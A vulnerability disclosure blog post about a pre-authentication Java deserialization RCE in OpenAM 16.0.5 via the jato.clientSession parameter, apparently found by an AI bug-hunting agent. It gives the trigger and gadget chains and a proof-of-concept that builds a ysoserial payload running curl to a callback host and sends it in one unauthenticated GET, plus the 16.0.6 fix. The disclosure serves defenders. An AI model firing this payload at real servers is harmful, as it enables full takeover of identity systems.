Pre-Auth RCE in OpenAM via jato.clientSession (CVE-2026-33439)

As part of our security research efforts, we’ve been using Hacktron AI to go after high-impact open source projects. The idea is simple, along with generic whitebox pentesting, we feed it a knowledge base of previous security research, point it at a target, and let it hunt. With threat actors already using AI, we figured we should be doing the same to stay ahead. We’re going to start publishing the results of these efforts, this is the first one.

Remember CVE-2021-35464? Pre-auth RCE in OpenAM via unsafe Java deserialization of jato.pageSession. Textbook deserialization, custom gadget chain, full server compromise. Great research by Michael Stepankin.

The agent looked at the original research, noticed JATO had one parameter that deserializes user input, and asked the obvious question: could there be another? There was.

The missed sibling

After CVE-2021-35464, OpenAM patched jato.pageSession by wrapping deserialization with a WhitelistObjectInputStream that restricts class loading to about 40 safe types. Gadget classes like PriorityQueue or TemplatesImpl get rejected. But JATO has a second parameter, jato.clientSession, and its deserialization lives in a completely separate code path:

1
protected ClientSession(RequestContext context) {
2
    this.encodedSessionString =
3
        context.getRequest().getParameter("jato.clientSession");
4
}

This value gets passed into Encoder.deserialize(), which calls ApplicationObjectInputStream.readObject() with no filtering. No whitelist. No class restrictions. Raw deserialization of attacker-controlled input. The fix for pageSession already existed in the same codebase but was never applied to clientSession.

The patched path:

1
protected void deserializePageAttributes() {
2
    this.setPageSessionAttributes(
3
        (Map) IOUtils.deserialise(
4
            Encoder.decodeHttp64(pageAttributesParam), false, classLoader));
5
}

The unpatched path:

1
protected void deserializeAttributes() {
2
    if (this.encodedSessionString != null
3
        && this.encodedSessionString.trim().length() > 0) {
4
        this.setAttributes(
5
            (Map) Encoder.deserialize(
6
                Encoder.decodeHttp64(this.encodedSessionString), false));
7
    }
8
}

IOUtils.deserialise() uses a whitelist. Encoder.deserialize() does not. Same framework, same pattern, different treatment.

Trigger chain

jato.clientSession deserialization does not trigger on every request. It only fires when the rendered JSP contains <jato:form> tags. Full call path from HTTP request to readObject():

1
GET /openam/ui/PWResetUserValidation?jato.clientSession=<PAYLOAD>
2
  → PWResetServlet.doGet()
3
    → ApplicationServletBase.processRequest()
4
      → dispatchRequest() → viewBean.forwardTo()     ← JSP rendering begins
5
        → JSP <jato:form> tag → FormTag.doStartTag()
6
          → getClientSession()                        ← reads jato.clientSession param
7
            → hasAttributes() → getEncodedString()
8
              → isValid() → ensureAttributes()
9
                → deserializeAttributes()
10
                  → Encoder.decodeHttp64()            ← URL-safe Base64 decode
11
                    → Encoder.deserialize()
12
                      → ApplicationObjectInputStream
13
                        .readObject()                 ← no whitelist, game over

The Password Reset pages (/ui/PWResetUserValidation, /ui/PWResetQuestion) are ideal targets. They are unauthenticated and their JSPs include <jato:form> tags. One caveat: jato.pageSession must not be in the same request. If it is, dispatchRequest() throws a ServletException before JSP rendering begins and the clientSession deserialization never fires.

Gadget chain

OpenAM 16.0.5 ships with everything needed for a Click-style gadget chain. The Click classes are repackaged under org.openidentityplatform.openam.click.control (not org.apache.click.control), and TemplatesImpl comes from xalan-2.7.3.jar:

1
PriorityQueue.readObject()                          [java.util]
2
  → heapify() → siftDown() → comparator.compare()
3
    → Column$ColumnComparator.compare()              [openam-core-16.0.5.jar]
4
      → Column.getProperty()
5
        → PropertyUtils.getObjectPropertyValue()     [click-nodeps-2.3.0.jar]
6
          → Method.invoke(TemplatesImpl, "getOutputProperties")
7
            → TemplatesImpl.getOutputProperties()    [xalan-2.7.3.jar]
8
              → newTransformer()
9
                → defineTransletClasses()
10
                  → TransletClassLoader.defineClass(_bytecodes)
11
                    → _class[_transletIndex].newInstance()
12
                      → EvilTranslet.<clinit>()      [attacker bytecode]
13
                        → Runtime.getRuntime().exec(cmd)

The standard ysoserial Click1 gadget won’t work out of the box because of the repackaged class names. We’re not releasing our custom gadget chain, but adapting Click1 to use the correct package paths and the external Xalan TemplatesImpl is trivial if you know your way around Java deserialization.

Proof of concept

java --add-opens java.base/java.util=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar ysoserial-all.jar OpenAM1 \
     "curl http://YOUR-COLLABORATOR-ID.oastify.com" > payload.bin

PAYLOAD=$(base64 < payload.bin | tr -d '\n' | tr '+/' '-_' | tr -d '=')

curl -k "https://TARGET/openam/ui/PWResetUserValidation?jato.clientSession=${PAYLOAD}"

No auth. No cookies. No tokens. One GET request, code execution.

Tested on OpenIdentityPlatform OpenAM 16.0.5 with Tomcat 10.1.52 and Java 21.0.7. Also verified on the official openidentityplatform/openam:latest Docker image with Java 25.

Fix

OpenAM 16.0.6 routes Encoder.deserialize() through IOUtils.deserialise(), the same WhitelistObjectInputStream that already protects jato.pageSession. Both parameters now go through identical class filtering. The maintainers also added StackWalker-based call tracing to log deserialization callers.

If you’re running OpenAM 16.0.5 or earlier, update now.

Conclusion

This isn’t some crazy novel bug. It’s a small variant that got missed, a sibling parameter in the same framework that nobody applied the same fix to. The agent figured it out from the original research sitting in its latent space. Subtle, but real.

We believe there are bugs like this all over the internet. Incomplete patches, missed siblings, slight variations of known vulns that just never got the human attention. The industry never had enough people to clear up that debt. LLMs are relentless at exactly this kind of work, but the key is how you use them. One-shot prompts won’t be enough, with the right context, the right scaffolding, and proper feedback loops, agents perform way better than naive single-pass scans.

If you maintain an open source project and want help finding these before someone else does, reach out. We’re happy to do free AI audits and help you secure your stuff. hello@hacktron.ai

Disclosure timeline

CVE-2026-33439 | Critical | CVSS 9.8 | CWE-502 | GHSA-2cqq-rpvq-g5qj

Meet our team at hacktron.ai. Reach out at hello@hacktron.ai or book a call.